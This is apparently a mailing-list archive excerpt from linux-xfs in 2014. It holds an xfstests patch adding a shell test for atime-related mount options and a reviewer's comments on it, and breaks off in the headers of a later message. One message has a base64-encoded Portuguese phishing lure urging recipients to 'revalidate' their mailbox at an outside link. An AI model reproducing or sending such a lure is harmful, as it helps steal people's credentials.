8ODB8xGBlzM8ePDgwYMHD56PCEjO/jlXdq0WDx48ePDgwYMHz/8KkJz98GbtWi0ePHjw4MGDBw+e /xW+fI7+f37++efPq1WvHcCDBw8ePHjw4MHzP893RxOQnP3wZu3TPMFrx/DgwYMHDx48ePD8T/LV YBQQM0jO8H6GBw8ePHjw4MHzvwvOzEBcyBmIn7754svnaLyi4cGDBw8ePHjw/E/yRZPRd0cTF0L2 88//L+iMPy31UvTbAAAAAElFTkSuQmCC ------=_NextPart_000_000F_01CF28D6.869DBAB0-- From yyohai@univ.haifa.ac.il Thu Feb 13 06:18:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.5 required=5.0 tests=SUBJ_ALL_CAPS autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 41FB37F58 for ; Thu, 13 Feb 2014 06:18:27 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E8EAF8F8037 for ; Thu, 13 Feb 2014 04:18:26 -0800 (PST) X-ASG-Debug-ID: 1392293899-04bdf0121f368e60001-w1Z2WR Received: from univ02.haifa.ac.il (univ02.haifa.ac.il [132.74.2.209]) by cuda.sgi.com with ESMTP id Kvfcv29rz0F7jUjG (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Thu, 13 Feb 2014 04:18:21 -0800 (PST) X-Barracuda-Envelope-From: yyohai@univ.haifa.ac.il X-Barracuda-Apparent-Source-IP: 132.74.2.209 Received: from EXCHSRVB.haifa.edu ([fe80::9935:2161:baf5:2ca1]) by HubCas2.haifa.edu ([fe80::d597:fa6f:3270:74bc%10]) with mapi id 14.01.0438.000; Thu, 13 Feb 2014 14:18:18 +0200 From: Yoni Yohai Subject: =?utf-8?B?U0lTVEVNQSBERSBBRE1JTklTVFJBw4fDg08gQ09OVEEgREUgTk9USUZJQ0E=?= =?utf-8?B?w4fDg08=?= Thread-Topic: =?utf-8?B?U0lTVEVNQSBERSBBRE1JTklTVFJBw4fDg08gQ09OVEEgREUgTk9USUZJQ0E=?= =?utf-8?B?w4fDg08=?= X-ASG-Orig-Subj: =?utf-8?B?U0lTVEVNQSBERSBBRE1JTklTVFJBw4fDg08gQ09OVEEgREUgTk9USUZJQ0E=?= =?utf-8?B?w4fDg08=?= Thread-Index: Ac8ota01R84nxgwjTB2M9vk5b6VZ5w== Date: Thu, 13 Feb 2014 12:18:17 +0000 Message-ID: <298689D3AE35C84A926AEF3E506BB57DBE4C17CF@ExchsrvB.haifa.edu> Accept-Language: en-US, he-IL Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [132.74.189.148] Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 X-Barracuda-Connect: univ02.haifa.ac.il[132.74.2.209] X-Barracuda-Start-Time: 1392293901 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145078 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; U3VhIGNhaXhhIGRlIGVudHJhZGEgZXN0w6EgcXVhc2UgdWx0cmFwYXNzb3UgbyBzZXUgbGltaXRl IGRlIGFybWF6ZW5hbWVudG8uIE7Do28gc2Vyw6EgY2FwYXogZGUgZW52aWFyIGUgcmVjZWJlciBl LW1haWxzLCBzZSBleGNlZGlkbyBxdWUgbGltaXRhciBlIHN1YSBjb250YSBkZSBlLW1haWwgc2Vy w6Egc3VzcGVuc28gYSBwYXJ0aXIgZGUgbm9zc28gc2Vydmlkb3IuIFBhcmEgZXZpdGFyIGVzc2Ug cHJvYmxlbWEsIHZvY8OqIHByZWNpc2EgcmV2YWxpZGFyIHZvY8OqIGNvdGEgZGEgY2FpeGEgZGUg Y29ycmVpbw0KDQpSZS12YWxpZGF0ZTxodHRwOi8vaGVscGRlc2stcmVhY3RpdmF0aW9uLnRyaXBv ZC5jb20vYWNjb3VudHJldmFsaWRhdGlvbi8+DQoNClNlIG7Do28gcmVjZWJlciBxdWFscXVlciBy ZXNwb3N0YSBkZW50cm8gZGUgMjQgaG9yYXMgYSBzdWEgY2FpeGEgZGUgY29ycmVpbyBzZXLDoSBz dXNwZW5zYS4NCg0KT2JyaWdhZG8uDQpBZG1pbmlzdHJhZG9yIEhlbHAgRGVzaw0K From koen.de.wit@oracle.com Thu Feb 13 09:23:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A65357F58 for ; Thu, 13 Feb 2014 09:23:47 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8B53E8F8039 for ; Thu, 13 Feb 2014 07:23:47 -0800 (PST) X-ASG-Debug-ID: 1392305022-04cbb00c29353110001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id IyTVOwcfTGMzk3n8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 13 Feb 2014 07:23:43 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1DFNfIL013555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Feb 2014 15:23:42 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1DFNe7q003858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 13 Feb 2014 15:23:41 GMT Received: from abhmp0020.oracle.com (abhmp0020.oracle.com [141.146.116.26]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1DFNeWA000944; Thu, 13 Feb 2014 15:23:40 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 13 Feb 2014 07:23:40 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH] xfstests: test for atime-related mount options Date: Thu, 13 Feb 2014 16:23:36 +0100 X-ASG-Orig-Subj: [PATCH] xfstests: test for atime-related mount options Message-Id: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392305023 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145081 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests the noatime, relatime, strictatime and nodiratime mount options. There is an extra check for Btrfs to ensure that the access time is never updated on read-only subvolumes. (Regression test for bug fixed with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) Signed-off-by: Koen De Wit --- tests/generic/323 | 186 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/323.out | 2 + tests/generic/group | 1 + 3 files changed, 189 insertions(+), 0 deletions(-) create mode 100644 tests/generic/323 create mode 100644 tests/generic/323.out diff --git a/tests/generic/323 b/tests/generic/323 new file mode 100644 index 0000000..423b141 --- /dev/null +++ b/tests/generic/323 @@ -0,0 +1,186 @@ +# Tests the noatime, relatime, strictatime and nodiratime mount options. +# There is an extra check for Btrfs to ensure that the access time is +# never updated on read-only subvolumes. (Regression test for bug fixed +# with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +_supported_fs generic +_supported_os Linux +_require_scratch + +rm -f $seqres.full + +_stat() { + stat --printf="%x;%y;%z" $1 +} + +_compare_stat_times() { + updated=$1 # 3 chars indicating if access, modify and + # change times should be updated (Y) or not (N) + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array + test_step=$4 # Will be printed to output stream in case of an + # error, to make debugging easier + types=( access modify change ) + + for i in 0 1 2; do + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then + if [ "${updated:$i:1}" == "Y" ]; then + echo -n "ERROR: ${types[$i]} time has not been updated " + echo $test_step + fi + else + if [ "${updated:$i:1}" == "N" ]; then + echo -n "ERROR: ${types[$i]} time has changed " + echo $test_step + fi + fi + done +} + +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" +_scratch_mount + +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full +[ $? -ne 0 ] && echo "The relatime mount option should be the default." + +if [ "$FSTYP" = "btrfs" ]; then + TPATH=$SCRATCH_MNT/sub1 + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full +else + TPATH=$SCRATCH_MNT +fi + +mkdir $TPATH/dir1 +echo "aaa" > $TPATH/dir1/file1 +file1_stat_before_first_access=`_stat $TPATH/dir1/file1` + +# Accessing file1 the first time +cat $TPATH/dir1/file1 > /dev/null +file1_stat_after_first_access=`_stat $TPATH/dir1/file1` +_compare_stat_times YNN "$file1_stat_before_first_access" \ + "$file1_stat_after_first_access" "after accessing file1 first time" + +# Accessing file1 a second time +cat $TPATH/dir1/file1 > /dev/null +file1_stat_after_second_access=`_stat $TPATH/dir1/file1` +_compare_stat_times NNN "$file1_stat_after_first_access" \ + "$file1_stat_after_second_access" "after accessing file1 second time" + +# Remounting with nodiratime option +_scratch_unmount +_scratch_mount "-o nodiratime" +file1_stat_after_remount=`_stat $TPATH/dir1/file1` +_compare_stat_times NNN "$file1_stat_after_second_access" \ + "$file1_stat_after_remount" "for file1 after remount" + +# Creating dir2 and file2, checking directory stats +mkdir $TPATH/dir2 +dir2_stat_before_file_creation=`_stat $TPATH/dir2` +echo "bbb" > $TPATH/dir2/file2 +dir2_stat_after_file_creation=`_stat $TPATH/dir2` +_compare_stat_times NYY "$dir2_stat_before_file_creation" \ + "$dir2_stat_after_file_creation" "for dir2 after file creation" + +# Accessing file2 +file2_stat_before_first_access=`_stat $TPATH/dir2/file2` +cat $TPATH/dir2/file2 > /dev/null +file2_stat_after_first_access=`_stat $TPATH/dir2/file2` +_compare_stat_times YNN "$file2_stat_before_first_access" \ + "$file2_stat_after_first_access" "after accessing file2" +dir2_stat_after_file_access=`_stat $TPATH/dir2` +_compare_stat_times NNN "$dir2_stat_after_file_creation" \ + "$dir2_stat_after_file_access" "for dir2 after file access" + +# Remounting with noatime option, creating a file and accessing it +_scratch_unmount +_scratch_mount "-o noatime" +echo "ccc" > $TPATH/dir2/file3 +file3_stat_before_first_access=`_stat $TPATH/dir2/file3` +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_first_access=`_stat $TPATH/dir2/file3` +_compare_stat_times NNN "$file3_stat_before_first_access" \ + "$file3_stat_after_first_access" "after accessing file3 first time" + +# Checking that the modify and change times are still updated +file1_stat_before_modify=`_stat $TPATH/dir1/file1` +echo "xyz" > $TPATH/dir1/file1 +file1_stat_after_modify=`_stat $TPATH/dir1/file1` +_compare_stat_times NYY "$file1_stat_before_modify" \ + "$file1_stat_after_modify" "after modifying file1" +mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed +file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` +_compare_stat_times NNY "$file1_stat_after_modify" \ + "$file1_stat_after_change" "after changing file1" + +# Remounting with strictatime option and +# accessing a previously created file twice +_scratch_unmount +_scratch_mount "-o strictatime" +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_second_access=`_stat $TPATH/dir2/file3` +_compare_stat_times YNN "$file3_stat_after_first_access" \ + "$file3_stat_after_second_access" "after accessing file3 second time" +cat $TPATH/dir2/file3 > /dev/null +file3_stat_after_third_access=`_stat $TPATH/dir2/file3` +_compare_stat_times YNN "$file3_stat_after_second_access" \ + "$file3_stat_after_third_access" "after accessing file3 third time" + +# Btrfs only: Creating readonly snapshot. Access time should never +# be updated, even when the strictatime mount option is active +if [ "$FSTYP" = "btrfs" ]; then + SPATH=$SCRATCH_MNT/snap1 + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` + ls $SPATH/dir2 >> $seqres.full + cat $SPATH/dir2/file3 >> $seqres.full + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` + _compare_stat_times NNN "$file3_stat_after_third_access" \ + "$file3_stat_readonly_after_access" "for file in readonly subvol" +fi + +# success, all done +_scratch_unmount +echo "Silence is golden" +status=0 +exit diff --git a/tests/generic/323.out b/tests/generic/323.out new file mode 100644 index 0000000..5dba9b5 --- /dev/null +++ b/tests/generic/323.out @@ -0,0 +1,2 @@ +QA output created by 323 +Silence is golden diff --git a/tests/generic/group b/tests/generic/group index f492461..3a72ee4 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -125,3 +125,4 @@ 320 auto rw 321 auto quick metadata log 322 auto quick metadata log +323 atime auto quick -- 1.7.1 From sandeen@sandeen.net Thu Feb 13 10:43:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D0FC07F4E for ; Thu, 13 Feb 2014 10:43:03 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 76B47AC007 for ; Thu, 13 Feb 2014 08:43:03 -0800 (PST) X-ASG-Debug-ID: 1392309778-04bdf0734c1c76e0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 8THipCOPQgasPrL2 for ; Thu, 13 Feb 2014 08:42:58 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9078061F83DC; Thu, 13 Feb 2014 10:42:57 -0600 (CST) Message-ID: <52FCF60F.6030703@sandeen.net> Date: Thu, 13 Feb 2014 10:42:55 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Koen De Wit , xfs@oss.sgi.com CC: linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: test for atime-related mount options References: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: test for atime-related mount options In-Reply-To: <1392305016-7424-1-git-send-email-koen.de.wit@oracle.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392309778 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145082 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/13/14, 9:23 AM, Koen De Wit wrote: > Tests the noatime, relatime, strictatime and nodiratime mount options. > > There is an extra check for Btrfs to ensure that the access time is > never updated on read-only subvolumes. (Regression test for bug fixed > with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) > > Signed-off-by: Koen De Wit > --- > tests/generic/323 | 186 +++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/323.out | 2 + > tests/generic/group | 1 + > 3 files changed, 189 insertions(+), 0 deletions(-) > create mode 100644 tests/generic/323 > create mode 100644 tests/generic/323.out > > diff --git a/tests/generic/323 b/tests/generic/323 > new file mode 100644 > index 0000000..423b141 > --- /dev/null > +++ b/tests/generic/323 > @@ -0,0 +1,186 @@ > +# Tests the noatime, relatime, strictatime and nodiratime mount options. > +# There is an extra check for Btrfs to ensure that the access time is > +# never updated on read-only subvolumes. (Regression test for bug fixed > +# with commit 93fd63c2f001ca6797c6b15b696a484b165b4800) > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $* > +} is "$*" really what you meant? Normally this is $tmp.* $* is positional parameters for the script, and I don't think it takes any. > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > + > +_supported_fs generic > +_supported_os Linux > +_require_scratch > + > +rm -f $seqres.full > + > +_stat() { > + stat --printf="%x;%y;%z" $1 > +} > + > +_compare_stat_times() { > + updated=$1 # 3 chars indicating if access, modify and > + # change times should be updated (Y) or not (N) > + IFS=';' read -a first_stat <<< "$2" # Convert first stat to array > + IFS=';' read -a second_stat <<< "$3" # Convert second stat to array > + test_step=$4 # Will be printed to output stream in case of an > + # error, to make debugging easier > + types=( access modify change ) > + > + for i in 0 1 2; do > + if [ "${first_stat[$i]}" == "${second_stat[$i]}" ]; then > + if [ "${updated:$i:1}" == "Y" ]; then > + echo -n "ERROR: ${types[$i]} time has not been updated " > + echo $test_step > + fi > + else > + if [ "${updated:$i:1}" == "N" ]; then > + echo -n "ERROR: ${types[$i]} time has changed " > + echo $test_step > + fi > + fi > + done > +} > + > +_scratch_mkfs >> $seqres.full 2>&1 || _fail "mkfs failed" > +_scratch_mount > + > +cat /proc/mounts | grep "$SCRATCH_MNT" | grep relatime >> $seqres.full > +[ $? -ne 0 ] && echo "The relatime mount option should be the default." Ok, I guess "relatime" in /proc/mounts is from core vfs code and should be there for the foreseeable future, so seems ok. But - relatime was added in v2.6.20, and made default in 2.6.30. So testing older kernels may not go as expected; it'd probably be best to catch situations where relatime isn't available (< 2.6.20) or not default (< 2.6.30), by explicitly mounting with relatime, and skipping relatime/strictatime tests if that fails? The rest of the test is awfully dense, but nice long understandable variable names, so that's good. ;) I wonder if in the spirit of testing a btrfs RO snapshot, you could also add a readonly mount test, to be sure that an RO mount doesn't update atime. Of course it shouldn't, but it might be worth adding for basic sanity? Thanks, -Eric > + > +if [ "$FSTYP" = "btrfs" ]; then > + TPATH=$SCRATCH_MNT/sub1 > + $BTRFS_UTIL_PROG subvolume create $TPATH > $seqres.full > +else > + TPATH=$SCRATCH_MNT > +fi > + > +mkdir $TPATH/dir1 > +echo "aaa" > $TPATH/dir1/file1 > +file1_stat_before_first_access=`_stat $TPATH/dir1/file1` > + > +# Accessing file1 the first time > +cat $TPATH/dir1/file1 > /dev/null > +file1_stat_after_first_access=`_stat $TPATH/dir1/file1` > +_compare_stat_times YNN "$file1_stat_before_first_access" \ > + "$file1_stat_after_first_access" "after accessing file1 first time" > + > +# Accessing file1 a second time > +cat $TPATH/dir1/file1 > /dev/null > +file1_stat_after_second_access=`_stat $TPATH/dir1/file1` > +_compare_stat_times NNN "$file1_stat_after_first_access" \ > + "$file1_stat_after_second_access" "after accessing file1 second time" > + > +# Remounting with nodiratime option > +_scratch_unmount > +_scratch_mount "-o nodiratime" > +file1_stat_after_remount=`_stat $TPATH/dir1/file1` > +_compare_stat_times NNN "$file1_stat_after_second_access" \ > + "$file1_stat_after_remount" "for file1 after remount" > + > +# Creating dir2 and file2, checking directory stats > +mkdir $TPATH/dir2 > +dir2_stat_before_file_creation=`_stat $TPATH/dir2` > +echo "bbb" > $TPATH/dir2/file2 > +dir2_stat_after_file_creation=`_stat $TPATH/dir2` > +_compare_stat_times NYY "$dir2_stat_before_file_creation" \ > + "$dir2_stat_after_file_creation" "for dir2 after file creation" > + > +# Accessing file2 > +file2_stat_before_first_access=`_stat $TPATH/dir2/file2` > +cat $TPATH/dir2/file2 > /dev/null > +file2_stat_after_first_access=`_stat $TPATH/dir2/file2` > +_compare_stat_times YNN "$file2_stat_before_first_access" \ > + "$file2_stat_after_first_access" "after accessing file2" > +dir2_stat_after_file_access=`_stat $TPATH/dir2` > +_compare_stat_times NNN "$dir2_stat_after_file_creation" \ > + "$dir2_stat_after_file_access" "for dir2 after file access" > + > +# Remounting with noatime option, creating a file and accessing it > +_scratch_unmount > +_scratch_mount "-o noatime" > +echo "ccc" > $TPATH/dir2/file3 > +file3_stat_before_first_access=`_stat $TPATH/dir2/file3` > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_first_access=`_stat $TPATH/dir2/file3` > +_compare_stat_times NNN "$file3_stat_before_first_access" \ > + "$file3_stat_after_first_access" "after accessing file3 first time" > + > +# Checking that the modify and change times are still updated > +file1_stat_before_modify=`_stat $TPATH/dir1/file1` > +echo "xyz" > $TPATH/dir1/file1 > +file1_stat_after_modify=`_stat $TPATH/dir1/file1` > +_compare_stat_times NYY "$file1_stat_before_modify" \ > + "$file1_stat_after_modify" "after modifying file1" > +mv $TPATH/dir1/file1 $TPATH/dir1/file1_renamed > +file1_stat_after_change=`_stat $TPATH/dir1/file1_renamed` > +_compare_stat_times NNY "$file1_stat_after_modify" \ > + "$file1_stat_after_change" "after changing file1" > + > +# Remounting with strictatime option and > +# accessing a previously created file twice > +_scratch_unmount > +_scratch_mount "-o strictatime" > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_second_access=`_stat $TPATH/dir2/file3` > +_compare_stat_times YNN "$file3_stat_after_first_access" \ > + "$file3_stat_after_second_access" "after accessing file3 second time" > +cat $TPATH/dir2/file3 > /dev/null > +file3_stat_after_third_access=`_stat $TPATH/dir2/file3` > +_compare_stat_times YNN "$file3_stat_after_second_access" \ > + "$file3_stat_after_third_access" "after accessing file3 third time" > + > +# Btrfs only: Creating readonly snapshot. Access time should never > +# be updated, even when the strictatime mount option is active > +if [ "$FSTYP" = "btrfs" ]; then > + SPATH=$SCRATCH_MNT/snap1 > + btrfs subvol snapshot -r $TPATH $SPATH >> $seqres.full > + dir2_stat_readonly_before_access=`_stat $SPATH/dir2` > + ls $SPATH/dir2 >> $seqres.full > + cat $SPATH/dir2/file3 >> $seqres.full > + dir2_stat_readonly_after_access=`_stat $SPATH/dir2` > + _compare_stat_times NNN "$dir2_stat_readonly_before_access" \ > + "$dir2_stat_readonly_after_access" "for dir in readonly subvol" > + file3_stat_readonly_after_access=`_stat $SPATH/dir2/file3` > + _compare_stat_times NNN "$file3_stat_after_third_access" \ > + "$file3_stat_readonly_after_access" "for file in readonly subvol" > +fi > + > +# success, all done > +_scratch_unmount > +echo "Silence is golden" > +status=0 > +exit > diff --git a/tests/generic/323.out b/tests/generic/323.out > new file mode 100644 > index 0000000..5dba9b5 > --- /dev/null > +++ b/tests/generic/323.out > @@ -0,0 +1,2 @@ > +QA output created by 323 > +Silence is golden > diff --git a/tests/generic/group b/tests/generic/group > index f492461..3a72ee4 100644 > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -125,3 +125,4 @@ > 320 auto rw > 321 auto quick metadata log > 322 auto quick metadata log > +323 atime auto quick > From oleg@redhat.com Thu Feb 13 11:40:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BB6BD7F55 for ; Thu, 13 Feb 2014 11:40:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 87BE88F804B for ; Thu, 13 Feb 2014 09:40:20 -0800 (PST) X-ASG-Debug-ID: 1392313219-04cb6c6de235dba0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tZVNSpRIgiXXEje3 for ; Thu, 13 Feb 2014 09:40:19 -0800 (PST) X-Barracuda-Envelope-From: oleg@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1DHeH2g018088 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 13 Feb 2014 12:40:17 -0500 Received: from tranklukator.brq.redhat.com (dhcp-1-208.brq.redhat.com [10.34.1.208]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with SMTP id s1DHeE9v008823; Thu, 13 Feb 2014 12:40:14 -0500 Received: by tranklukator.brq.redhat.com (nbSMTP-1.00) for uid 500 oleg@redhat.com; Thu, 13 Feb 2014 18:40:22 +0100 (CET) Date: Thu, 13 Feb 2014 18:40:20 +0100 From: Oleg Nesterov To: Linus Torvalds Cc: Al Viro , Dave Chinner , Dave Jones , Eric Sandeen , Linux Kernel , xfs@oss.sgi.com Subject: Re: 3.14-rc2 XFS backtrace because irqs_disabled. Message-ID: <20140213174020.GA14455@redhat.com> X-ASG-Orig-Subj: Re: 3.14-rc2 XFS backtrace because irqs_disabled. References: <20140212010941.GM18016@ZenIV.linux.org.uk> <20140212040358.GA25327@redhat.com> <20140212042215.GN18016@ZenIV.linux.org.uk> <20140212054043.GB13997@dastard> <20140212113928.GO18016@ZenIV.linux.org.uk> <20140212211421.GP18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline 